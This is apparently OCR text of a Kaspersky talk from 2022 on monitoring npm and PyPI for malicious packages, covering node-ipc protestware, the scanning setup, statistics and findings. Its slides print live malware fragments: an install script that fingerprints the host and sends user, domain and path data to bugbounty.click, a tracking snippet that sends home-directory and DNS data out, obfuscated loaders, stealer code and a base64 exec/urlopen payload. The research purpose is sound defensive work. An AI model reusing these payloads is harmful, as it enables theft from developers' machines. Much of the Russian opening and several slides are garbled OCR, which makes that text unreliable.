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17-03-2022 — the weaponized node package

ABTOp naketa node-ipc (Mcnone3yeTca B vue-cli, Unity, Bonblue MUNNWMOHa 3arpy3oK 3a Heeno)

KOMMMT C 0bdoyc LUMPOBEHHEIM KO,

3TOT Kog, ObIn 3anylleH ¢ poccuiickoro unu Genopycckoro IP)

MEXMPOLECCHOrD B3auMOAeACTBMA.
ABTOPbI VUE
ipc be3 BpegoHocHoro koga. Unity Hub Bein Tawke

oOHOBNEHUE , B KOTOPOM :aa{tn WKC

CMUCOK NPMMIrTor.(

B peno3autopum node-ipc celyac NponcxoamT
nons3oeareny GitHub MO, Mcnonb3yllee 3TOT Nake

Pa3zpaboTumku nocne aToro MHUMAEHTa

npenga
nonoGHbIX HENPUATHOCTER, NOA HA3BaHWeM «CnMcoK Mansapy
source NPOEKTAX, OMACHLIX 1A UCNOMb30BaHNA».

OM, KOTOPLIA yaanseT ece dhaikl ¢ yCTPOACTEA, eCni

LINUX.ORG.RU

HoBoctu [anepes ®opym Tpekep [lonck

bopym — Security

CneLmanbHbliA BpeoHOCHbIW KoA B npm-nakeTe Aaa Poccum n Benopyccum

# npm, Gyayuiee 3nece

PazpaboTunk nonynsipHoro npm-nakeTa node-1ipc! Ao6aBun B NPOEKT KO/, KOTOPbIA COBEPLIAET 3aNPock! Ha YAANeHHbIA cepeep 1 Npu coenazenut [P-agpeca ¢
Poccuiickim nnn Benopycckim nepesanickIBaeT coAepKMMOoe BCexX (haioB Ha JKecTKOM AUCKE Ha IMOMKV-CepAsUKO (¥).

MaxeT node -1pc! cTouT B 3@BMCMMOCTH Gonee yem y 300 Apyrix He MeHee MOMyNsipHbIX NPOEKTOB, B TOM YMC/e U3 3KocucTeMbl Vue.js (vue/cli)

Hesafonro o 3Toro TOT e cambili paspaboTuuk Jo6aBun B peecTp Npm Mofly/b peacenotwar!, KOTopblil BEIBOAW B KOHCOMb COOBLUEHWE CO CNoBaMM [daKHbIe
yOaneHsi] W co3[aeT B HECKOMbLKUX NoaAepuKTopuA gomaluHero karanora thaidn WITH-L OVE-FROM-AMERICA.ixt ¢ cogepX1mMoM Ha MHOXECTBE A3bIKOB MUPa.

Naket peacenotwar Tak xe Obl/1 BK/HOUEH B 32BHCHMOCTH ansa node- 1pci

BpegoHocHIit kog, 3aTMpatoLmii thaiinel, Gbin fobasneH B nakeT node-ipci 7 mapra B Bepcuu 10.1.1

HecmoTpa Ha TO, 4TO CNYCTA HEKOTOPOE BPEMA NakeT Obl/1 NOMEYEH Kak deprecated, ero ycnenu ckayaTb HECKO/BKO ThICAY Pa3.

Ha fjaHHbIil MOMEHT Tekylias Bepciis naketa 11.1.0 Gonblue He COAEPXUT BPEAOHOCHLINH KOZ, 3aTUpatoLyuii (aiinbl CEpAEUKOM, HO BCE eLle COAePKUT B 3aBUCUMOCTAX
Moaynb peacenotwar], KOTopkii Gonblle He BbIBOAWT COOBLUEHNS B KOHCOMb, HO co3aaeT dainsl WITH-L OVE-FROM-AMERICA.txt B goMallHeM KaTasnore.

MNoapo6HocTy 06 yA3BMMOCTI

JS

javascript »
17.03.22 04:43:18



“Just download and execute”

Node: “node install %package®”

Python: “pip install %package%"”

Rust: curl ..rustup.sh | /bin/sh; cargo run

Go: go get github.com/...
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But they're pros. Right? Q

\

Virtually no moderation

.
if

{

all__ = ["fuckdenis", "fuckdenis2"] aﬁ‘=i=‘=;;;=§=F
= np.random.randint(@, 100)

r == 69:

webbrowser.open("https://www.pornhub.com/view_video.php?viewkey=ph59d1658

‘Owner” teams are opague, some lack skills/experience

c410-f3r commented on 3 May Contributor | =« - e

s =
| personally have no idea what has to be done in a situation like this. Pinging the members of the crates.io team for awareness = -:
(Hope you guys don't mind)

LYl

FF
ONE

2022

7
V7.



There must be something! vEr

2022

1. Collect all package differences since Feb 2022
S

2. Analyse and scan these diffs for something
suspicious (particular message banners, tooy—

.

3. Save it all in a database S
4, Research!



The setup SEF_

2022

VM with a 4 Tb HDD and some 1o GB RAM
Ubuntu

Python & PostgreSQL Wi

 Begin with npm (hode js) and pypi (python)




A bunch of scripts
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Too fast

Error 1 01 5 Ray ID: 711c2f746d849d84 e 2022-05-27 05:00:10 UTC

What happened?

The owner of this website (replicate.npmjs.com) has banned you
temporarily from accessing this website.

(
couchdb [ ]
event db (
(event, ChangedEvent):
logger (
asyncio (

current_statel 1):

event.sequence, event.id)
(pool, db, event.id, event.sequence))




Pitfalls of the standard library

1. The Differ “\hangs” on a single package for hours
2. The package is relatively small (~900 Mb)
3. But! Linux ‘diff’ runs for just a few seconds
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Pitfalls of the standard library

1. The Differ “\hangs” on a single package for hours
2. The package is relatively small (~900 Mb)
3. But! Linux ‘diff’ runs for just a few seconds

There must be a bug in our code... Right?

@ Python »  English 105 @ 3.10.5 Documentation » The Python Standard Library » Text Pracessing Services » di££1ib

deltas

fable of Contents difflib — Helpers for computing deltas

Ipers for

Source code: Lib/difflib.py

This module provides classes and functions for comparing sequences. It can be used for example, for

comparing files, and can produce information about file differences in various formats, including
HTML and context and unified diffs. For comparing directories and files, see also, the filecmp mod-

Sorted by: Highest score (defz

3 Answers

The issue you're finding is very common, since difflib is not optimized.
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diff-match-patch to the rescue

A google / diff-match-patch ' Public @ Watch 110 ~ % Fork 935 Y7 Star B.5k

<> Code (©) Issues 53 {1 Pull requests 22 (® Actions [ wiki @ Security |~ Insights

P master - ¥ 1branch 0 tags Go to file Add file ~ Code ~ About

Diff Match Patch is a high-performance
@ NeilFraser Fix JSDoc for optional params 62f2e68 on 26 Jul 2019 D) 44 commits library in multiple languages that
manipulates plain text.
cpp Eliminate all ( ompiler warn
diff match patch text-processing

csharp simplify encodeURI using HttpUtility difference

dart Add -04 flag that cha eedtest from 31 seconds to 0.9 s 3 years ago

M r

demos demo docs type fix: ag gg e : 0 s Apache li

java My tests showed that using diff _match_patch was 20 times faster than Python's difflib.

javascript
lua Share Follow edited Jun 13, 2018 at 21:21 answered May 9, 2018 at 12:01

objectivec § andres.riancho
3 1,136

python2

python3 Use raw string for r

12



The mystery of a Persian dictionary

1. The Differ literally gets killed running out of memory on a single package
2. The size of the compressed package - 186 Mb, decompressed - 3 Gb (!)
3.  The package is called ‘similar-persian-words’

What is so special about the package?
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The mystery of a Persian dictionary ONE

2022

1. The Differ literally gets killed running out of memory on a single package
2. The size of the compressed package - 186 Mb, decompressed - 3 Gb
3.  The package is called ‘similar-persian-words’

What is so special about the package?

O6s0p  E Tepuman v M, 20 mones 14:30
- i 53h brvr@pm-scanner: -
atingi0.5), (word"s gl ni 7
ting ( ] s
] iz
(
b1 ol jua>
t ni ]
[ 1
VIRT RES  SHR 3
B $8H6A BETMM 1704 &
'
s},
BN L
A i 1
@
ord’
- S ) )
ating®:0.5), (-ma s -mw 10.5}, J op) e’ &
$ J“rating® 4" gl s 2T, Frating”i0. d": " a2, “rat .5, 2 .5)
L Cword®s "o jud 7 r.l\ng ng* s .u tog 6.3 %3 u and
97:0.5), {*word™:"J
0 .
| JEe 1 R os Wercoigh o rae ot hiice - Wicce 00
2 7
@t or
ord”: "¢l . :0.5), {"word": " gl usb Ped , "rating® J.
@ *rating*10. s) L("word™ 1 I, "rating":0.5) ,{-word": ek avg-cpus Nuser ¥nlce ¥systen Nlowslt Xsteal xtdle
oor 15 cd /nedt X )
bzvrgpn 2 /medt [packages/: $ file Device s rkBfs rrgn/s %rrqn r_awslt rareq-sz w/s wkB/s W
g21p comps data, riginal size modulo 2432 3048474624 gzt |t dareq-sz aqu-sz Nutil
b Conpratsed date, reserved method, extrs fLatd; has comeaty from FAT Filesysten (RS-00S, 0S/23 NT); orlgtnal/stzein
odulo 2432 3048474624
oor < fnedta/d 1s -lh
~
- 1 bzvr bzvr 186M Jun 1 18:34 2e5902e4ed06206c8e9b211c19693¢b8SOb
 Jnedt Kages/Be/365
avg-cpu: Nuser nlce Xsysten Nlowsit Xsteal xidle
Device ofs rkB/s rron/s rrgn r_awalt rareq-sz w/s wkB/s  wri
t darea-sz u-s2_ Xu!
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A few numbers

2 184 498 packages

of them:

5O
NZT
m

97% npm
3% pypi




More numbers SEF_
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Enpm O pypi

30000

24000

18000

(2{0]0]0

6000

\Y[e]g Tue Wed Thu Fri Sat Sun
Number of releases by day of week

16



Even more numbers 3R

4 873 242 unigue versions of packages
6 TB of compressed packages + diffs

5 months of monitoring 2 repositories

Including deleted packages, that are not
avallable anywhere else.
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Nice findings

\

6 200 (0.1%)

detections

Open Source Scanner igosha

De t rbotjs NO Mone 1 2022-06- 4:47: UA_flag

Packages base-api-client 20, 7:20.982 . 22-06-30 1 :40.70 UA_flag
@everymatrix/casino-tournaments-page-controller 0 08:50:20.788 2022-06-30 08:12:16.810000 UA_flag

YARA-rules @everymatri sino-tournaments-page-controller 4 08:50:20.788 3 2022-06-30 08:12:16.810 RU_invasion
@everymatri -tournaments-slider-controller 08: 2022-06-30 08:12:15.98 RU_invasion
@everymal -tournaments-slider-controller 06-24 08:50:20.875000 2022-06-30 08:12:15.98 npm_RU_timezone
@everymatrix, -tournaments-slider-controller 08:50:20.875000 2022-06-30 08:12:15.988000 UA_Fflag
@everyma E -tournaments-controller 2 06-24 08:50:18.157000 2022-06-30 08:12:07.847000 npm_RU_timezone

everymatrix/casino-tournaments-controller 0.0.3 08: 57000 0.0.303 2022-06-30 08:12:07.847000 RU_invasion

@everyma asino-tournamen ntroller 0 08:50:18.157000 2022-06-30 08:12:07.847000 UA _flag
all-the-package-repos 3 14 07.839000 : -06-30 04:07:29 0 npm_peacenotwar
all-the-package-names 2 29 12:24: 1000 2022-06-30 01:02:03.176000 npm_peacenotwar
lucide-angular 815:27:17.854000
survey-knockout 1 11:31:19.295000
survey-react 1 06-22 11:30:44.141000
survey-angular 2 300 22-06-29 16:26: RU_base64
all-the-package-repos 37.582000 2022- npm_peacenotwar
@breen.la/ghost-ui ) ) :51.702000 1 2022 UA_Fflag

all-the-package-names 9 4:36.908000 2022- 2:24:1 npm_peacenotwar

cyfs-sdk-nightly D6-28 08:23:05.326000 22-06-29 1 RU_base64




Looks suspicious... {ERE

2022

const trackingData = JSON.stringify({
p: package,
c: _ _dirname,
hd: os.homedir(),

hn: os.hostname(), W
un: os.userInfo().username, '

dns: dns.getServers(),

r: packageJSON ? packageJSON.__ resolved : undefined,
v: packageJSON.version,

pjson: packageJSON,

postData = querystring.stringify({

msg: trackingData, ///V

options = {
hostname: "camb338b19pZSSE)tgGogmiodtstefkbcn.", //replace burpcollaborator - o
port: 443, = =

nath: /" e —




Even more suspicious... {ERE

2022

ﬂsr e,n= require{”m:”} r=n. hmztname{},5=n*USErInfﬂ{}*uaername,n=n,pla
tform( ) ;i ("win32"==0| | "win64"==0){try{net session=require("chila pr
ocess").execSync("net session’ } e="admin" jcatch{e="non-admin" }s=requ
ire("child process"). eiecHynC{"U thlﬂfu | findstr /B Domain").toSt
rlng{} replace{ Domain:","").trim()+" /"+s}else{e=n.userInfo().uid;tr

y{const{ execﬂync n} _requ1re{ Chlld pluCe::'} e+=" "+n("groups”).tosSt

rlng{} replace{ ',"}“ atc rprocess.env.NODE _TLS REJECT UNAUTHOR
IZED=0; st c= requ1re{'http"} t={hostname: "bugbounty.click” ,port:4
43,path Idcl“34 bugbounty/knock- knuck,lug install.php?Username="+en
codeURI(s+" {”+e+”j”}+”&Hﬂ5tﬂame:”+encmdeURI{r}+”ﬂPacPagP jubilee-T1l
ag-wave&PWD="+_ dirname,method:"GET"},i=c.request(t);i. end{}

& plo)



Just want to make some money... 3EF e

2022

This package was created for ethical hacking purposes only. If you'r

e reading this, then if I was a malicious hacker then I could have ¢

ontrol over your machine. Please see https://medium.com/@alex.birsan
denpendencv-caon ion-4a5d6ffectls e technical de intion i

you are interested. However, please don't report this package to the
MPM registry as I have created it for bug bounty purposes.

For example, as you can see here the vulnerability has been reportead
to Hacker1l and been rewarded for (note this is not my report): http
s://hackerone.com/reports/1104693

If this has broken something then I'm sorryl- however, please contac
your interna e = = bug bounty administrator and pas

[app-01.youdrive.club] RCEin C o B /
I/CD via dependency confusion SRy SR ERRL I

Severity

Weakness

. Dependency confusion allowed remote code execution in youdrive CI/CD
pipeline as was demonstrated by researcher via creation of public npmjs.com

N iy

package matching internal dependancy. w3 = 5=
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Nicer findings...

1915 obfuscated packages

(_©x233ba@, ©x47afib) _Bx3a0636=_0x233bad(); _0x3fee80( 0x2069d8, Ox47c352, Ox41c3d9, Oxbe@2eb, Ox11c314)
_Bx5d48(_ 0x41c3d9-axf5, 0xbedzeb); _Ox574791(_0x3Tad445, 0x2853eb, 0x1190aa, 0x4eld88, 0x1b@cal) _@x5d48(_0
x4e1d88- -0x260, 0x1190aa); _Bx2ad34f(_0Ox58076, 0x5726a5, 0x1b62ed4, Ox581677, 0x56e8fb) _Bx5d48(_0x1b02e4-0x339,
_Bx5726a5); _Ox40f42c( 0x4462a6, 0x5d4609, Bx22ffaz, Ox268c56, Bx51f135) _0x5d48( 0x51f135-8x357, OXx268c56);
_@x2d2dee( ©x43d1b8, ©x1838c1, 0x38d542, Ox328beS5, 0x45bf19) _@x5d48(_0x328be5- -0x110, 0x45bf19); (rer )
_Bx20c9237=-parselnt(_0x40f42c(0x937,0x70b,0x%eb, ,OxBOC) )/ (0x3*0x69d+-0x2db+-0x18fb)*( -parselnt(_0Ox40f42c(0x525,0xa32,0
X574, LOX75b) ) /(-0X1*-0x9e9+-0xed43*0xX2+-0xX635*%-0x3) )+-parselnt(_0x2ad34f(0x39%9e, ,0%x619,0x571,0x5e4) ) /(-0x2*-0x11fb+-0x
1246+-0x11ad)+-parselnt{ Ox574791(-0xlee,0x53, ,0x117,0x139) ) /(0x1dae+0x7*-0x1T+-0x3*0x99b)*(parseInt( Ox40f42c(Ox31c,0x591
,0x181, ,0x40d)) /(-0xbd9*-0x3+0x583+-0x2910) )+-parselnt( 0x3fo080(0x2c7,0x366,0x2f5, ,0x1F1)) f(-0x405+0xTb3*0x2+-0x1b5
b)+-parselnt{_ 6x2ad34f(0x4da, ,0x45a,0x258,0x400) ) /(0x25T*-0XxB+-0x5*0x12140xa6*0x26)*( -parselnt(_0x3T0080(0x4ed,0x99,0x2e2,
,0xdb)) /(Ox2%-0x3a9+0x29b*-0x3+0xf2b) )+-parselnt( Ox40f42c(0x7c5,0x331,0x4bT, ,0x53F)) /(0x1e*0x55+-0x130a+0x91d*0x1)*
(parseInt( Ox3f0080(0x673,0x41f,0x436, ,0%211)) f(-0%x91d*0x3+0x1ebf*-0x1+-0xle*-0x1f0) )+parseInt( Ox2ad34f(Ox245, ,0%3F
d,0x499,0x693))/(0x12ad+0x2459+0x233%-0x19); (_0x20c937===_0x47af1lb) : _Bx3a0636 (_0x3a0636 ()): (_
Ox528862) | 0x3a0636 (_Ox3a0636 ()): (_0x2dd7,0x101cd*0xX7+-0x2b8B*0x74+0X177Cc96) ) ; _Bx232cla=( ()
_Bx1fadsil= : (_Ox5080cd, Ox27a757) _Bx5000cd(_ Ox27a757);: |, : (_Ox50c9e0, 0x2d3d5e) _B0x5
Bc9ed( Ox2d3d5e); ], 1 Oxf5067a( ,0x683,0x559,0x6d7,0x5a5)+ 0xf5067a( ,0x94a,0x810,0xc14,0xcd42)+ 0x3eadfe(-0x136,
,-0x17,-0x98, -0xed), : Bx3eaf%fe(-0x37, ,-0x17b, -0x2b5,-0x48f )+ _0x3ea%0e(0x75, ,0x3b9,0x17b,0x328)+ 0xT5067
al( ,0x3f1,0x25b,0x12a3,0x241), : ( 0x3alf12 stbcbﬂf) _Bx3al1fl12===_0x5bebof; ], : Bxfse67a( .
0x3d3, 0(455 01404 oxsad) : ( Bx581c37, ﬂxlchOC) _Ox581c37!1==_0x1cb56¢c; |, : Oxf5067a( ,0x464 ,0x1 H
fa, 0(009 zecz) {_01283993,_051@458b) _Bx288993===_0x1e458b;}, :_Bx32ab53(0x12b, -0x1bd,0x1ba, -0x90,
), :_0xf506?a{ ,0xB90,0x5ec,0x596,0xa6cC) | ; _Oxdedeaa(_0x4431d3, 0x5429c6, 0x192c9c, 0x5234bc, 0x391114)
_0x5d48( 0x5234bc- -0x16c, 0x192c9c); _0x32ab53( 0x4032b4, 0x460fe8, Ox441098, 0x316784, 0x2a516f) _@x5d
48(_0x4032b4- -0x345, 0x2a516fF); _@x28b104=11[1; _Oxf5067a(_0x43d024, 0x596073, Ox478097, Ox1b8Sef, Ox527fce)
_Ox5d48(_0x596073-0x2d1, 0x43d024); _Bx3ea90e( 0x56612c, 0x493ca9, Ox38a809, 0x1787fe, ©x52419e){return _©x5d48( 0x178
7fe- -0x398, 0x493ca9);}function _0x4b74e9( 0Ox26785b, 0x8fd9fd, Ox1lcoe96, 0x2850cd, Ox42fde7){return _0x5d48(_ 0x26785b- -0x2ea,
Ox1c6e9s); }return function{ Ox560587, 0x1228fe){function Ox40c470( 0x18d904, 0x5f4eaz, 0Ox4faeaB, Ox376269, 0x336%9ac){return _Ox
f5067a( Ox4faeaB, 0Ox5f4eaz- -0x427, Ox4faeaB-0x193, 0x376269-0x109, 0x336%ac-0xd?); funct%on Ox5bab2( 0x543eb7, OGx5dedaf, 0x30b




Nicer findings...

638 weaponized by “h4ck3rz”
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Nicer findings...

O+ Discord stealers

LofyLife: malicious npm packages steal Discord tokens and bank W;
card data '

// AUTHORS e
? IGOR KUZNETSOV !, LEONID BEZVERSHENK( .—: : -~

On July 26, using the internal automated system for monitoring open-source repositories, we

L

LYl

identified four suspicious packages in the Node Package Manager (npm) repository. All these
packages contained highly obfuscated malicious Python and JavaScript code. We dubbed this »

malicious campaign “LofyLife".

https://securelist.com/lofylife-malicious-npm-packages/107014/ s A



Meanwhile, In the Python-land

aiohttp-proxies-forked

sonatype

sonatype
This Week in Malware—npm

. . Malicious Python package with encrypted
malware exfiltrates Windows payload

SAM, Amazon EC2 credentials Malicious Python (PyP) packages caught by us this week include

e 10, 2022 By Ax Sharma

aiohttp-proxies-forked
aiohttp-proxy-connect
final-amwsis-test
roblox-wrapper
very-hackerman
vxrail-ansible-utility

a recurrent theme

e discussed earlier

https://blog.sonatype.com/this-week-in-malware-npm-malware-exfiltrates-windows-sam-amazon-ec2-credentials S
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Meanwhile, in the Python-land

. /modules/plugins/Details.py

. /modules/plugins/base plugin.py
./modules/plugins/ init_ .py

. /modules/plugins/Filezilla.py
./modules/plugins/details.py

. /modules/plugins/wallets
./modules/plugins/wallets/Exodus.py

. /modules/plugins/wallets/ 1init .py
. /modules/plugins/wallets/exodus.py

. /modules/plugins/whatsapp.py
./modules/plugins/Whatsapp.py
./modules/plugins/filezilla.py

. /modules/plugins/Telegram.py

. /modules/plugins/telegram.py
./modules/plugins/browsers
./modules/plugins/browsers/Chromium.py
. /modules/plugins/browsers/ init__ .py
./modules/plugins/browsers/chromium.py
./modules/plugins/browsers/decrypt.py
./modules/logger.py

. /modules/tools.py

. /modules/config.py

. /modules/paths.py
./modules/path_search.py

p search_paths(wallet_folder_paths,
isdir(p):

wallets_path = join(self.conf.log_path,
isdir(wallets_path):
mkdir(wallets_path)

name = split(p)[1]
wallet_name = wallets[name]
dest_path = join(wallets_path, f

copytree(p, dest_path)
e:

self.conf.logger.log(f
e:
self.conf.logger.log(f

k(self, path:
romium_browser_names = {

) > 1

’

t(wallets.ke
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Meanwhile, In the Python-land

@ Leonid Bezvershenko . a [souchprops ~a e

We have just discovered two malicious PyPi packages masquerading as
HTTP libraries: ‘ultrarequests’ and ‘pyquest’. The description of these

packages is taken from the ‘requests’ package. The malicious code is in the ultrarequests 2.28.3
class ‘HTTPError’ (‘exceptions[.]lpy’ file) [1/3]

v | Latestversion

pip install ultrarequests IN Released: Jul 30,2022
ception):

').exec(__1import__
3 ) b64decode(“ZnvaSBOZWlemlsZSprX.
nmcm9tIHNScprbXBvchgZXle3V@YWJsZSBhcnyZHV4ZWN1dGFLbGUK‘ —_— . .
gpfdHRtcCA9IFIMZm1sZShkZWx 1dGUIRmFsc2UpC190dGiwLndyaXR1KG RIS £ e R
vcGVUIGFzIF91dXJsb3BlbjtleGViKF91dXIsb3B1bignaHROCHMBLY962
TcOMzI1MSO3YXAVZWSUZXIvaWSqZWNOb3InKS5yZWFKKCkpIiIikQpfdHH

B7X2V1eGVjdXRhYmx1LnJlcGxhY2UoJly51eGUnLCAndy51eGUnKX0ge190d

(A { Python HTTP for Humans.

ultrarequests

ultrarequests is a simple, yet elegant, HTTP library.

luestException):

no need to manua dd query strings

downloads/month | 230M | python 3.7 | 3.8 3.9 | 3.10 | 3.1 | contributors [4091}

Installing ultrarequests and Supported Versions

https://twitter.com/bzvr_/status/1557807795877171201 4 27
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Meanwhile, in the Python-land




Where to next? R E

2022

Rust

Golang
Whole GitHub?

A never ending story...
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Thank you.
Questions?

kaspersky



